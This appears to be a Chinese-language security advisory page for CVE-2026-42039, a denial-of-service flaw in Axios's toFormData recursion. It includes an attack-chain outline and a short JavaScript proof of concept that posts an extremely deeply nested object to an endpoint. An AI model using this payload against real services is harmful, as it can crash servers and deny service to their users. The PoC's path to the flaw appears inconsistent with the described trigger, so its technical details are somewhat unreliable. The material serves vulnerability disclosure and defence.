IPBUF安全漏洞报告
English
CVE-2026-42039 CVSS 7.5 高危

CVE-2026-42039 Axios深度嵌套对象DoS漏洞

披露日期: 2026-04-24

漏洞信息

漏洞编号
CVE-2026-42039
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Axios

相关标签

拒绝服务AxiosNode.jsCVE-2026-42039DoSRangeError

漏洞概述

Axios是一个广泛使用的基于Promise的HTTP客户端。在1.15.1和0.31.1版本之前,Axios库中的toFormData函数在处理嵌套对象时缺乏深度限制。攻击者可利用此漏洞,通过发送包含极深嵌套层级的恶意请求数据,触发Node.js进程的RangeError异常。这将导致服务器进程崩溃,造成拒绝服务,严重影响系统的可用性。

技术细节

该漏洞源于Axios库在处理数据转换时的实现缺陷。具体来说,当toFormData函数尝试将复杂的JavaScript对象序列化为FormData格式时,采用了递归遍历的策略。然而,该实现未包含对递归深度的检查或限制机制。攻击者可以利用这一点,构造一个包含极深嵌套层级(例如数万层)的恶意JSON对象作为HTTP请求的Body发送给服务器。当Axios尝试解析该对象时,递归调用会迅速填满V8引擎的调用栈。由于Node.js是单线程模型,这种栈溢出会直接导致抛出RangeError: Maximum call stack size exceeded异常。在未捕获该异常的情况下,整个Node.js进程会立即终止,导致服务不可用。该漏洞攻击成本低,无需认证且无需用户交互,对依赖Axios处理用户输入的Node.js应用构成了严重的可用性威胁。

攻击链分析

STEP 1
侦察
攻击者识别目标Web应用使用了受影响版本的Axios库(< 1.15.1 或 < 0.31.1)。
STEP 2
武器化
攻击者编写脚本,构造一个包含极深嵌套层级的恶意JSON对象,用于触发递归溢出。
STEP 3
传递
攻击者向目标API端点发送包含该恶意对象的HTTP POST请求。
STEP 4
利用
Axios的toFormData函数递归处理该对象,导致调用栈耗尽,Node.js进程抛出RangeError并崩溃。
STEP 5
影响
目标服务由于进程崩溃而不可用,达成拒绝服务攻击目的。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
const axios = require('axios'); // Function to generate a deeply nested object function generateDeepObject(depth) { let obj = {}; let current = obj; for (let i = 0; i < depth; i++) { current['data'] = {}; current = current['data']; } return obj; } // Generate payload with depth sufficient to cause RangeError const maliciousPayload = generateDeepObject(200000); // Send the malicious request to the target // This will crash the Node.js process in vulnerable versions axios.post('http://localhost:3000/api/upload', maliciousPayload) .then(response => console.log('Request sent')) .catch(error => console.error('Request failed:', error.message));

影响范围

Axios < 1.15.1
Axios < 0.31.1

防御指南

临时缓解措施
如果无法立即升级版本,建议在应用网关或WAF层对请求体的JSON深度进行校验,拦截异常结构的数据。同时,可以在接收用户输入的代码中添加中间件,递归检查并限制对象的最大嵌套深度,防止递归溢出攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表